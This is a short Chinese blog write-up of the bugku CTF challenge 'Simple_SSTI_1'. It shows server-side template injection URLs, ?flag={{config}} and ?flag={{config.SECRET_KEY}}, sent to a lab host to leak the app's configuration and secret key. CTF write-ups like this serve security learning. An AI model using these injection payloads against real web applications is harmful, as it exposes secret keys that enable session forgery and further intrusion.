[bugku]Simple_SSTI_1

扒皮狼 2022-03-12 阅读 70

题目：
在这里插入图片描述

进入页面先按F12

在这里插入图片描述
有个提示secret_key
考虑模板注入

输入url：

http://114.67.175.224:10472/?flag={{config}}

在这里插入图片描述
直接找到了flag

如果访问

http://114.67.175.224:10472/?flag={{config.SECRET_KEY}}

可以直接显示flag
在这里插入图片描述

0 条评论

关注